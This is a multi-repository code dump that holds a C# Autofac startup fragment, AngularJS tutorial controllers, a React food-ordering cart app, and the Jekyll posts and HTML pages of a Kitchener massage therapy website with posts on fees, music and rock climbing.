typeof(IModule); PublicTypes.Each(t => { if (t != null && !t.IsInterface && !t.IsAbstract && t.IsPublic && !t.IsGenericType) { if (controllerType.IsAssignableFrom(t)) {//register controller AutofacContainerBuilder.RegisterType(t); } if (moduleType.IsAssignableFrom(t)) { ((IModule)Activator.CreateInstance(t)).Load(new AutofacContainerAdapter(AutofacContainerBuilder)); } } }); System.Web.Mvc.DependencyResolver.SetResolver(new EasyDependencyResolver()); Application_Starting(); _lifetimeScopeProvider = new AutofacRegister(AutofacContainerBuilder).Regist(AutofacContainerBuilder.Build()); TaskManager.ExcuteAll(); Application_Started(); } } }
ead68857174999fe40c3fe5bdb58654b137f81b6
[ "C#" ]
2
C#
hhpop8/EasyFrameWork
ee9aee9b658aea53055015092989b74e32c75506
1cf42cf25f6ab4b4f66e09baed4d1dc711539612
refs/heads/master
<repo_name>DevEderNO/curso-angularjs-devmedia<file_sep>/js/aula07Controller.js app.controller("aula07Controller", function ($scope) { // $scope.nomes = ['Eder', 'Daniel', 'Tiago', 'Maria', 'José']; $scope.pessoas = []; $scope.pessoas.push( {nome: "Eder", idade: 31, status: false} ); $scope.pessoas.push( {nome: "Daniel", idade: 31, status: false} ); $scope.pessoas.push( {nome: "Tiago", idade: 31, status: false} ); $scope.pessoas.push( {nome: "Maria", idade: 31, status: false} ); $scope.pessoas.push( {nome: "José", idade: 31, status: false} ); console.log($scope.pessoas); $scope.adcionaPessoa = function(){ var nome = document.getElementById("nomepessoa"); var idade = document.getElementById("idadepessoa"); $scope.pessoas.push( {nome: nome.value,idade: idade.value} ); nome.value = ""; idade.value = ""; }; });<file_sep>/js/aula06Controller.js app.controller("aula08Controller", function ($scope) { });<file_sep>/js/aula09Controller.js app.controller('aula09Ctrl1Controller1',['$scope','operacoes','Pessoa',function($scope,operacoes,Pessoa){ $scope.pessoa = new Pessoa(); console.log("Entrou no controller aula 09 1"); console.log(operacoes.somar(10,10)); }]); app.controller('aula09Ctrl1Controller2',['$scope','operacoes','Pessoa',function($scope,operacoes,Pessoa){ $scope.outrapessoa = new Pessoa(); $scope.teste = "Curso AngularJS"; $scope.outrapessoa.nome = "Devmedia"; console.log("Entrou no controller aula 09 2"); console.log(operacoes.subtrair(10,5)); }]);
c2fe01c446b046cf0e3f56f3408bdc5e1786510a
[ "JavaScript" ]
3
JavaScript
DevEderNO/curso-angularjs-devmedia
aefa80230af560ebec6a76d4c824d52997253f40
2e889eaa3b65e7a352de04c4fed93de70610a7a8
refs/heads/main
<file_sep>import React, { useReducer } from "react"; const CartContext = React.createContext({ addItem: () => {}, removeItem: () => {}, cart: {}, }); const defaultCartItems = { items: [], totalCartItems: 0, totalPrice: 0 }; const totalNumberOfItems = (items) => { let total = 0; let totalPrice = 0; items.forEach((item) => { total += item.amount; totalPrice += item.price * item.amount; }); return { totalItems: total, totalPrice: Math.floor(totalPrice) }; }; const itemsReducer = (state, action) => { if (action.type === "ADD") { //to check if item is already present const existingItemIndex = state.items.findIndex((item) => { return item.name === action.val.name; }); const existingItem = state.items[existingItemIndex]; let updatedItems; //if item is already present if (existingItem) { const updatedItem = { ...existingItem, amount: existingItem.amount + action.val.amount, }; updatedItems = [...state.items]; updatedItems[existingItemIndex] = updatedItem; } else { updatedItems = state.items.concat(action.val); } //calculate the total cost and items in cart const { totalItems, totalPrice } = totalNumberOfItems(updatedItems); return { items: updatedItems, totalCartItems: totalItems, totalPrice: totalPrice, }; } else if (action.type === "DEL") { let updatedItems; const existingItemIndex = state.items.findIndex( (item) => item.name === action.val.name ); const existingItem = state.items[existingItemIndex]; if (existingItem.amount === 1) { state.items.splice(existingItemIndex, 1); updatedItems = [...state.items]; } else { const updatedItem = { ...existingItem, amount: existingItem.amount - action.val.amount, }; updatedItems = [...state.items]; updatedItems[existingItemIndex] = updatedItem; } //calculate the total cost and items in cart const { totalItems, totalPrice } = totalNumberOfItems(updatedItems); return { items: updatedItems, totalCartItems: totalItems, totalPrice: totalPrice, }; } return defaultCartItems; }; export const CartContextProvider = (props) => { const [items, dispatchItem] = useReducer(itemsReducer, defaultCartItems); const addItemHandler = (item) => { console.log("item added"); if (item.amount > 0 && item.amount !== undefined) { dispatchItem({ type: "ADD", val: item, }); } }; const removeItemHandler = (item) => { console.log("removed item"); if (item.amount > 0 && item.amount !== undefined) { dispatchItem({ type: "DEL", val: item, }); } }; return ( <CartContext.Provider value={{ addItem: addItemHandler, removeItem: removeItemHandler, cart: items, }} > {props.children} </CartContext.Provider> ); }; export default CartContext; <file_sep>import React, { useContext } from "react"; import CartContext from "../context/cart-context"; //style imports import styles from "./ViewCart.module.css"; const ViewCart = (props) => { const cartCtx = useContext(CartContext); const popupOpenHandler = () => { props.popupOpen(true); }; return ( <button id={styles["view-cart"]} onClick={popupOpenHandler}> <i className="fas fa-shopping-cart"></i> <p>Your Cart</p> <div id={styles.count}>{cartCtx.cart.totalCartItems}</div> </button> ); }; export default ViewCart; <file_sep>import React, { useContext } from "react"; import CartContext from "../context/cart-context"; //style imports import styles from "./CartItem.module.css"; const CartItem = (props) => { const cartCtx = useContext(CartContext); const orderButtonHandler = () => { console.log("Ordering..."); }; const closeButtonHandler = () => { props.popupClose(false); }; const reduceButtonHandler = (name, price) => { const tempItem = { name: name, amount: 1, price: price }; cartCtx.removeItem(tempItem); }; const increaseButtonHandler = (name, price) => { const tempItem = { name: name, amount: 1, price: price }; cartCtx.addItem(tempItem); }; let cartItem = cartCtx.cart.items.map((item, index) => { return ( <div className={styles["cart-item"]} key={index}> <div className={styles["food-item"]}> <h2>{item.name}</h2> <div className={styles["amount"]}> <p>{`$ ${item.price}`}</p> <div>{`x ${item.amount}`}</div> </div> </div> <div className={styles["add-remove"]}> <button onClick={reduceButtonHandler.bind(null, item.name, item.price)} > - </button> <button onClick={increaseButtonHandler.bind(null, item.name, item.price)} > + </button> </div> </div> ); }); return ( <React.Fragment> <div id={styles["cart"]}> {cartItem} <div id={styles["total-amount"]}> <p>Total Amount</p> <p>{`$ ${cartCtx.cart.totalPrice}`}</p> </div> <div id={styles["confirm-close"]}> <button type="button" onClick={closeButtonHandler}> Close </button> <button type="button" onClick={orderButtonHandler}> Order </button> </div> </div> <div id={styles["background-blur"]}></div> </React.Fragment> ); }; export default CartItem; <file_sep>import React, { useState } from "react"; //style import import styles from "./App.module.css"; //component imports import CartItem from "./components/cart/CartItem"; import Header from "./components/header/Header"; import Items from "./components/items/Items"; import Main from "./components/main/Main"; function App() { const items = [ { itemName: "Sushi", description: "Finest fish and veggies", price: 22.99 }, { itemName: "Schnitzel", description: "A German speciality!", price: 16.5 }, { itemName: "<NAME>", description: "American, rawn meaty", price: 12.99, }, { itemName: "Green Bowl", description: "Healthy and green", price: 18.99 }, ]; const [cartPopup, CartPopupUpdate] = useState(false); return ( <div id={styles.main}> {cartPopup && <CartItem popupClose={CartPopupUpdate}></CartItem>} <Header popupOpen={CartPopupUpdate}></Header> <Main></Main> <Items items={items}></Items> </div> ); } export default App; <file_sep>import { useContext, useRef } from "react"; import CartContext from "../context/cart-context"; import styles from "./ItemsCard.module.css"; const ItemsCard = (props) => { const cartCtx = useContext(CartContext); const amountInputRef = useRef(); const addButtonHandler = (e) => { const tempItem = { name: props.itemName, amount: +amountInputRef.current.value, price: props.price, }; cartCtx.addItem(tempItem); amountInputRef.current.value = "0"; }; return ( <div className={styles["food-item"]}> <div className={styles["food-details"]}> <h3>{props.itemName}</h3> <p> <em>{props.description}</em> </p> <p>{props.price}</p> </div> <div className={styles["required-amount"]}> <div className={styles["quantity"]}> <label htmlFor="amount">Amount</label> <input ref={amountInputRef} type="number" defaultValue="0" min="1" step="1" id="amount" autoComplete="off" ></input> </div> <div className={styles["increase-quantity"]}> <button onClick={addButtonHandler}>+ Add</button> </div> </div> </div> ); }; export default ItemsCard; <file_sep>import React from "react"; //component imports import ViewCart from "../cart/ViewCart"; //style imports import styles from "./Header.module.css"; const Header = (props) => { return ( <header id={styles.header}> <div className="container" id={styles["header-container"]}> <h1>React Meals</h1> <ViewCart popupOpen={props.popupOpen}></ViewCart> </div> </header> ); }; export default Header;
4b535b2b0d7618251bca65a62f98e89779f760fa
[ "JavaScript" ]
6
JavaScript
LokeshRavindran/food-order-app
863a70edcb9e6b03186c5c8be4dc190328365de2
4c7f25a843849f7c4087ffdb0588667e61cb036b
refs/heads/master
<repo_name>zyhou/multiple-babelrc<file_sep>/src/client/index.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import { Fetch } from 'react-request'; class HelloWorld extends Component { render() { return ( <Fetch url="http://localhost:3000/" responseType="text" transformData={helloWorld => { return { helloWorld, }; }} > {({ fetching, failed, data }) => { if (fetching) { return <div>Loading data...</div>; } if (failed) { return <div>The request did not succeed.</div>; } if (data) { return <div>{data.helloWorld}</div>; } return null; }} </Fetch> ); } } ReactDOM.render(<HelloWorld />, document.getElementById('app'));
5201445fd36f885c51a884f1f342aa801a272edb
[ "JavaScript" ]
1
JavaScript
zyhou/multiple-babelrc
26243c9ff42ddc612832ba5cc61580eeda63c225
c3bb9f5da32c42f038e23708772c9f808852129e
refs/heads/master
<repo_name>Jeremykw/kwmassage<file_sep>/_posts/2014-01-16-massage-therapy-music.md --- layout: post title: "Massage Therapy Music " date: 2014-01-16 17:34:47 category: generalmassagetherapy slug: massage-therapy-music post_id: 351 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, music, massage therapy music --- <p>I’m not the kind of <a href="{{site.url}}/index.html">massage therapist</a> that plays nature sounds, new age music, or any of the other typical spa-type music for <a href="{{site.url}}/clinic-information/note-to-new-massage-therapy-clients/index.html">my clients</a> while I’m working. My primary goal as a massage therapist is not relaxation; relaxation is a side effect of my style of therapy and sometimes sleep does come for some of my less rested clients. I’m more concerned with your muscular dysfunction; I don’t feel I need to play music that’s going to put you to sleep. This doesn’t mean I play punk or heavy metal; you’re likely to hear anything from jazz and classical to folk or blues music. </p> <p>90% of the time I play <a href="https://www.cbc.ca/radio2/">CBC Radio 2</a> in my massage therapy room. I’m in Kitchener Ontario so if you want to have a listen to what Radio 2 is playing now, check out the <a href="https://www.cbc.ca/video/radio-popup.html">eastern regional broadcast</a>. Radio 2 plays a whole range of music; classical, opera, jazz, folk, country, hip hop, blues… the list goes on. Every hour, on the hour, there is 5 minutes of world news, but I find this to be a small price to pay compared to radio commercials every 10-15 minutes. And hey -- it forces me to stay up to date on world events!</p> <p>As a backup, for those times when the opera gets to be too much or the hip hop to loud for my client, I always have my MP3 player as a backup. I’ll often have music like: <NAME>, <NAME>, <NAME>, <NAME> and U2 on hand.</p> <file_sep>/_posts/2015-01-01-stretching.md --- layout: redirect title: "Stretching" date: 2015-01-01 slug: stretching redirect_url: knowledge-centre/stretching/ meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy --- <file_sep>/_posts/2014-01-16-initial-consultation-fee.md --- layout: post title: "Do You Charge An Initial Consultation Fee For Massage Therapy Appointments?" date: 2014-01-16 16:26:49 category: generalmassagetherapy slug: initial-consultation-fee post_id: 349 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, fee, fees, consultation fee --- <p>No, I do not charge an initial consultation fee for <a href="{{site.url}}/clinic-information/index.html">massage therapy treatments</a>. I have a simple one page <a title="Massage Therapy Health History Form" href="{{site.url}}/wp-content/uploads/2014/01/Health-History.pdf">Health History form</a> for you to fill out, I take 5 minutes or so to go over this form inorder to get a general idea of what I’m treating before we begin. After reviewing your needs, we get started right away, any other information I need I can ask <a href="{{site.url}}/clinic-information/index.html">while I’m treating you</a>. <div class="entry-image"> <a href="https://www.youtube.com/watch?v=br953TUGKxs" data-lightbox="iframe"> <img src="https://img.youtube.com/vi/br953TUGKxs/0.jpg" frameborder="0"> </a> </div> <file_sep>/_posts/2015-06-13-governance-of-massage-therapy.md --- layout: post title: "Governance of massage therapy in Ontario" date: 2015-06-13 19:48:16 category: generalmassagetherapy slug: governance-of-massage-therapy post_id: 251 --- <p>Massage therapy is a <a href="{{site.url}}/knowledge-centre/facts-about-registered-massage-therapy-in-ontario/index.html">regulated health profession</a>. The <a href="https://www.cmto.com/">College of Massage Therapist of Ontario </a>(CMTO) is the governing board that oversees and regulates <a href="{{site.url}}/index.html">massage therapists in Ontario</a>. If you have any questions related to the governance of massage therapy in Ontario, <a href="https://www.cmto.com/"</a> is a great resource. </p> <p>The 'Registered Massage Therapists Association of Ontario'(RMTAO) is the association that supports <a href="https://www.google.ca/maps/place/Kitchener+Massage+Therapy/@43.4607924,-80.4512195,17z/data=!3m1!4b1!4m5!3m4!1s0x882bf4946918d4f9:0x3b65b74844c27bd2!8m2!3d43.4607924!4d-80.4490308" target="_blank">registered massage therapists</a> in Ontario. They lobby the government on behalf of all massage therapists in Ontario. They are the association that fought to get massage therapy into the Regulated Health Professionals Act (RHPA). Massage therapy being part of the RHPA is what allows you to have <a href="{{site.url}}/knowledge-centre/facts-about-registered-massage-therapy-in-ontario/index.html">massage therapy coverage </a>in your extended health benefits plan. The RMTAO did their best to avoid the new Harmonized Sales Tax (HST) from affecting the rate of massage therapy in Ontario. The RMTAO is a great education resource.</p> <p>The RMTAO also has a sister website <a href="http://www.rmtfind.com/">RMTfind.com</a> that will allow you to search by <a href="{{site.url}}/contact/index.html">location for a massage therapist </a>in your area.</p> <file_sep>/_posts/2015-01-01-does-deep-tissue-massage-heart.md --- layout: post title: "Does Deep Tissue Massage Hurt? " date: 2015-01-01 22:01:14 category: generalmassagetherapy slug: does-deep-tissue-massage-heart post_id: 216 --- <p>Often <a title="Deep tissue massage therapy" href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html">Deep Tissue massage therapy</a> will cause some tenderness when <a title="Jeremy, massage therapist in Kitchener" href="{{site.url}}/about/index.html">your massage therapist</a> is working hard to work out the tension, scar tissue, and trigger points from your muscles and ligaments. And yes, sometimes you will feel a little stiffness the day after. Most often, this soreness is <a title="welcome" href="{{site.url}}/index.html">welcome</a> relief as your therapist has the skill to pinpoint the source of your pain and work it out. </p> <p>Because each person’s discomfort tolerance is unique to them alone, you must communicate clearly and honestly with your therapist if/when more pressure is used than is comfortable for you.</p> <file_sep>/_posts/2014-01-16-kitchener-massage-therapist-makes-another-rock-climbing-trip.md --- layout: post title: "Kitchener Massage Therapist makes another Rock Climbing Trip " date: 2014-01-16 16:19:09 category: rock_climbing slug: kitchener-massage-therapist-makes-another-rock-climbing-trip post_id: 345 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing, rock climbing --- <p>This Saturday my family and I are leaving for a <a href="{{site.url}}/about/rock-climbing-as-a-lifestyle/index.html">rock climbing </a>trip and vacation. We are leaving <a title="KWmassage Clinic Location" href="{{site.url}}/contact/index.html">Kitchener Waterloo</a>, on March 10, 2012. I will be returning to work March 22<sup>nd</sup>, 2012. If you are looking for a <a title="Massage Therapy Appointment in Kitchener Waterloo" href="{{site.url}}/clinic-information/index.html">massage therapy appointment</a> I will be available before and after this trip. </p> <p>If you are looking for a massage therapy appointment unfortunately I have very little time left before I leave, Wednesday March 7<sup>th</sup> is the only option. The week I get back will be a short one but I still have a little time on the 22<sup>nd</sup> to <a title="Book a massage therapy appointment in Kitchener Waterloo" href="{{site.url}}/clinic-information/index.html">book appointments</a>. The following week, March 26<sup>th</sup>, is starting to booking up already but I still have a sometime most days that week.</p> <p>We will be flying into Las Vegas and staying right on the strip for 3 days. After this we will drive down to Joshua Tree (JT), California, were we have a small bungalow rented for a week. While in Vegas, we will make a few trips out to <a href="https://www.mountainproject.com/v/red-rock/105731932" target="_blank">Red Rock Canyon</a> to do some climbing. We will have the kids so our objectives will be limited but we will still do some great climbs. The first climbing day we will do Panty Wall in the <a href="https://www.mountainproject.com/v/calico-basin/105731977" target="_blank">Calico Basin</a> where my wife is looking forward to practicing her leading skills (single pitch sport climbing, 5.7-5.11). Depending on how things go the first day we would like to do <a href="https://www.mountainproject.com/v/physical-graffiti/105732266" target="_blank">Physical Graffiti</a> (two pitch trad climb, 5.6) the second day. Our bungalow in JT is only 15 minutes from <a href="https://www.mountainproject.com/v/joshua-tree-national-park/105720495" target="_blank">Joshua Tree National Park</a>, a world famous climbing area with over 8000 thousand route. I hope to get in 4 or 5 climbing and exploring days while in there. I don’t have the JT guide book yet (I will pick it up at <a href="https://desertrocksportslv.com/" target="_blank">Desert Rock Sports in Las Vegas</a>) so I haven’t planned our climbing objectives. I will write a trip report when we get back with more details.</p> <p>I apologize to anyone hoping to make a massage therapy appointment while I’m gone. I have tried to make up for the deficit by working a few extra evenings before and after the trip and even a Saturday.</p> <file_sep>/_site_production/about/rock-climbing-as-a-lifestyle/index.html <!DOCTYPE html> <html lang="en-US"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <!-- Stylesheets ============================================= --> <link href="https://fonts.googleapis.com/css?family=Lato:300,400,400italic,600,700|Raleway:300,400,500,600,700|Crete+Round:400italic" rel="stylesheet" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/bootstrap.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/style.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/dark.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/font-icons.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/animate.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/magnific-popup.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/responsive.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/colors.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/travel.css" type="text/css" /> <link rel="stylesheet" href="https://www.kwmassage.com/css/ie10_no_paralax.css" type="text/css" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <!--[if lt IE 9]> <script src="https://css3-mediaqueries-js.googlecode.com/svn/trunk/css3-mediaqueries.js"></script> <![endif]--> <!--[if IE]> <link rel="stylesheet" href="https://www.kwmassage.com/css/ie_no_paralax.css" type="text/css" /> <![endif]--> <!-- External JavaScripts ============================================= --> <script type="text/javascript" src="https://www.kwmassage.com/js/jquery.js"></script> <script type="text/javascript" src="https://www.kwmassage.com/js/plugins.js"></script> <!-- Document Title ============================================= --> <title>KWmassage | Rock Climbing as a Lifestyle </title> <!-- Meta Tags ============================================= --> <meta name="description" content="Rock Climbing and how it plays a role into the life of a father, husband and massage therapist."> <meta name="keywords" content="Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, Climbing, climbing injury, rock climbing"> <meta name="author" content="<NAME>, Registered Massage Therapist" > <link rel="icon" type="image/png" href="https://www.kwmassage.com/assets/images/logo_kitchener_massage.png"> </head> <body class="stretched"> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-PNLFQ7" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-PNLFQ7');</script> <!-- End Google Tag Manager --> <!-- Document Wrapper ============================================= --> <div id="wrapper" class="clearfix"> <!-- Header ============================================= --> <header id="header" class="" data-sticky-class="not-dark" data-responsive-class="not-dark" data-class-lg="header_background" data-class-md="header_background"> <div id="header-wrap" class=""> <div class="container clearfix"> <div id="primary-menu-trigger"><i class="icon-reorder"></i></div> <!-- Logo ============================================= --> <div id="logo"> <a href="https://www.kwmassage.com/index.html" title="Kitchener Massage Therapy Home Page" class="standard-logo" data-dark-logo="https://www.kwmassage.com/assets/images/logo_kitchener_massage.png"><img src="https://www.kwmassage.com/assets/images/logo_kitchener_massage.png" alt="Kitchener Massage Therapist Logo"></a> </div> <!-- #logo end --> <!-- Nagigation --> <!-- Primary Navigation ============================================= --> <nav id="primary-menu" class="style-6 not-dark"> <ul dir="rtl" class="" > <li><a href="/"><div>Home</div></a></li> <li><a href="/about/index.html" title="Jeremy's bio and massage therapy background"><div>About</div></a> <ul> <li><a href="/about/rock-climbing-as-a-lifestyle/index.html"><div>Rock Climbing as a Lifestyle</div></a></li> </ul> </li> <li><a href="/clinic-information/index.html" title="Book Massage Therapy Appointment Online Now"><div>Appointments</div></a> <ul> <li><a href="https://www.kwmassage.com/clinic-information/clinic/index.html"><div>Clinic</div></a></li> <li><a href="/clinic-information/note-to-new-massage-therapy-clients/index.html"><div>Note to New Clients</div></a></li> </ul> </li> <li><a href="/contact/index.html"><div>Contact</div></a></li> <li><a href="/knowledge-centre/index.html" title="More articals about Registered Massage Therapy"><div>Knowledge Centre</div></a> <ul> <li><a href="/knowledge-centre/facts-about-registered-massage-therapy-in-ontario/index.html"><div>Facts</div></a></li> <li><a href="/knowledge-centre/general-massage-therapy/index.html"><div>General Massage Therapy</div></a></li> <li><a href="/knowledge-centre/stretching/index.html"><div>Stretching</div></a></li> <li><a href="/knowledge-centre/rock-climbing/index.html"><div>Rock Climbing</div></a></li> </ul> </li> </ul> </nav> <!-- #primary-menu end --> <!-- End Nagigation --> </div> </div> </header> <!-- #header end --> <!-- Page Title ============================================= --> <section id="page-title-1" class="page-title-dark"> <div class="container clearfix"> <h1>Kitchener Massage Therapy</h1> <span>Rock Climbing as a Lifestyle </span> <ol class="breadcrumb"> <li><a href="https://www.kwmassage.com/index.html">Home</a></li> <li><a href="https://www.kwmassage.com/about/index.html">about</a></li> <li class="active">Rock Climbing as a Lifestyle </li> </ol> </div> </section><!-- #page-title end --> <!-- Page Title and content ============================================= --> <section id="page-title" class="page-title-parallax notoppadding" style="background-repeat: no-repeat; background-color: white;" data-class-lg="lg-bg-image" data-class-md="lg-bg-image" data-class-sm="lg-bg-image" data-class-xs="lg-bg-image" data-class-xxs="sm-bg-image"> <div id="turn_background_white" class="content-wrap"> <div class="container clearfix notopmargin"> <!-- Right Col --> <div class="postcontent nobottommargin col_last clearfix"> <div class="single-post nobottommargin slider-caption-bg slider-caption-bg-light"> <div class="entry clearfix"> <div class="entry-content notopmargin"> <p>I started rock climbing in 1997 when I was 21 years old. I started <a href="http://grandriverrocks.com/">climbing in the gym </a>before I ventured outside top-roping and sport climbing a year later. Now I’m a dad, a husband, and a <a href="https://www.kwmassage.com/index.html">massage therapist, </a>but I still love to climb and I plan to climb for the rest of my life.</p> <p>My step-brother introduced me to gym climbing when I was 21 and I fell in love right away. It was like I had finally found the answer to the meaning of my life. As I started venturing outside top-roping then sport climbing, everything else in my life started to fade away. I slowly phased out my mountain biking and quit karate and ju-jitsu. I brought <a href="https://www.kwmassage.com/about/index.html">yoga</a> into my life a few years later, only because a friend and climbing partner suggested that it would help improve my climbing. I have had to take time off from my climbing; moving around, <a href="https://www.kwmassage.com/rock_climbing/rock-climbers-and-our-fingers/index.html">injuries</a>, <a href="https://www.kwmassage.com/knowledge-centre/facts-about-registered-massage-therapy-in-ontario/index.html">massage therapy school, </a>and babies have all taken me away from climbing for periods of time, but I have always come back to it.</p> <p>Now that <a href="https://www.kwmassage.com/about/index.html">I’m a family man, </a>my climbing focus has changed. I spend a lot of time teaching my children to climb, and I help and encourage my wife to improve her climbing skills and experience. I take the whole family up multi-pitch trad climbs and we do day trips up to Rattle Snake Point to top-rope. My youngest daughter was four when we did our first family trip up to <a href="https://www.alpineclubofcanada.ca/web/ACCMember/Huts/Bon_Echo_Hut.aspx">Bon Echo National park</a>, a 300 foot multi-pitch trad climb craig.</p> <p>I do get out climbing without my family as well. I <a href="https://www.kwmassage.com/generalmassagetherapy/aerobic-vs-anaerobic-training-for-rock-climbing/index.html">train once or twice a week </a>at <a href="http://grandriverrocks.com/">Grand River Rock</a>, and I get out to Mount Nemo a few times a year. I’ve been up to Bon Echo a handful of times. When I’m climbing with my family, I’m patient, encouraging, and methodical. When I’m out with the boys we like to climb hard and push our limits.</p> <p>My training as a <a href="https://www.kwmassage.com/clinic-information/index.html">massage therapist </a>has been a great help to my climbing. When I injure myself, I know what to do to get myself back climbing as quick as possible. I know right away if I should use heat or ice, when to stretch, or rest, or just push through. It used to take me a week or more to get a solid answer about how to handle an injury, now I start with the right course of treatment right away. Even more importantly, I know what to do to stay healthy and reduce the risk of injuring myself. <a href="https://www.kwmassage.com/knowledge-centre/stretching/index.html">Proper stretching</a>, training supporting muscles, better posture, proper rest periods, and hydrotherapy all keep me strong, flexible, and limber to me keep climbing and training hard.</p> <p>I find that my <a href="https://www.kwmassage.com/clinic-information/note-to-new-massage-therapy-clients/index.html">massage therapy clients </a>who also rock climb gain specific benefits. Not only have I experienced many of the injuries a climber would come in and seek treatment for, but I have also done the research for my own climbing injuries so I’m up to date regarding the latest medical treatment options and techniques.</p> <p>I also know the lingo. I know what a crimp is, I know what a jug is and I know the dynamics of a layback and roof climbing. Communicating the specifics of an injury is often difficult between a client and their therapist. Trying to describe a climbing injury to a hockey player is like speaking a different language, and vice versa. I have experience with many different clients with many different injuries related to many different sports and professions but it’s the climbers that I know understand the best.</p> <p>Climbing has been part of my life for a long time. It has permeated the rest of my life, family, and work. I might not be the best climber but I have a good amount of experience and have a lot of fun with it. I hope to continue growing my climbing experience, and I hope to share my knowledge by helping as many people as I can with their own climbing.</p> </div> </div> </div> </div> <!-- Right Col Ends --> <!-- Sidebar ============================================= --> <div class="sidebar nobottommargin clearfix" data-class-sm="noleftpadding"> <div class="sidebar-widgets-wrap slider-caption-bg slider-caption-bg-light" data-class-lg="" data-class-md="" data-class-sm="sidebar_sm" data-class-xs="" data-class-xxs=""> <div class="widget clearfix"> <!-- COVID Button--> <a href="/generalmassagetherapy/covid-19" title="Schedule Massage Therapy Appointment Now" style="margin: 10px" class="btn btn-danger fright">Covid-19 Update</a> <!-- End COvid --> <!-- Hours --> <div style="margin-right: 0px;" class="row rates_no_margin" data-class-xxs="center"> <h3>Hours</h3> <div style="text-align: left; margin-left: 25px; width: 70px;" class="col_half norightmargin inline-block"> <strong>Monday</strong><br /> <strong>Tuesday</strong><br /> <strong>Wednesday</strong><br /> <strong>Thursday</strong><br /> <strong>Friday</strong><br /> <strong>Saturday</strong><br /> <strong>Sunday</strong><br /> </div> <div style="text-align: right; width: 90px;" class="col_half fright col_last norightmargin noleftmargin"> 10:00 - 5:00<br /> 10:00 - 6:30<br /> 10:00 - 5:00<br /> 10:00 - 3:00<br /> 10:00 - 3:00<br /> Closed<br /> Closed<br /> </div> </div> <!-- Hours End --> <!-- Rates --> <div style="margin-right: 0px;" class="row rates_no_margin" data-class-xxs="center"> <h3>Rates</h3> <div class="col_half norightmargin inline-block" data-class-lg="ratebox" data-class-md="ratebox" data-class-sm="ratebox" data-class-xs="ratebox" data-class-xxs="ratebox_xxs"> <strong>1/2 Hour</strong><br /> <strong>1 Hour</strong><br /> <strong>1.5 Hour</strong><br /> </div> <div style="text-align: right; width: 80px;" class="col_half fright col_last norightmargin noleftmargin" > $65<br /> $95<br /> $130<br /> </div> </div> <!-- Rates End --> <div class="clearfix"></div> <!-- Schedule Now Button --> <div> <a href="/clinic-information/index.html" title="Schedule Massage Therapy Appointment Now" style="margin: 10px" class="btn btn-danger fright">Schedule Now</a> <a href="https://www.google.ca/search?authuser=1&source=hp&ei=kafZW_SpLZCp5wLY2ZvYBw&q=kitchener%20massage%20therapy&oq=kitchener+massage+therapy&gs_l=psy-ab.3..0j0i22i30k1l7j38l2.2600.6429.0.6948.26.17.0.8.8.0.191.1672.10j6.16.0....0...1c.1.64.psy-ab..2.24.1732.0..0i131k1.0.MPijVrvqgqY&npsic=0&rflfq=1&rlha=0&rllag=43456213,-80452137,1197&tbm=lcl&rldimm=4280028541904649170&ved=2ahUKEwjm4Pas3rDeAhWKjFkKHbEvDXoQvS4wAHoECAQQLQ&rldoc=1&tbs=lrf:!2m1!1e2!2m1!1e3!3sIAE,lf:1,lf_ui:2#lrd=0x882bf4946918d4f9:0x3b65b74844c27bd2,3,,,&rldoc=1&rlfi=hd:;si:4280028541904649170;mv:!3m12!1m3!1d23173.66859490525!2d-80.45746170000001!3d43.44580034999999!2m3!1f0!2f0!3f0!3m2!1i461!2i384!4f13.1;tbs:lrf:!2m1!1e2!2m1!1e3!3sIAE,lf:1,lf_ui:2" title="Leave a review for KW Massage" style="margin: 10px" class="btn btn-danger fright">Leave a Review</a> </div> <!-- Schedule Now Button Ends --> <div class="clearfix"></div> <!-- CMTO Logo 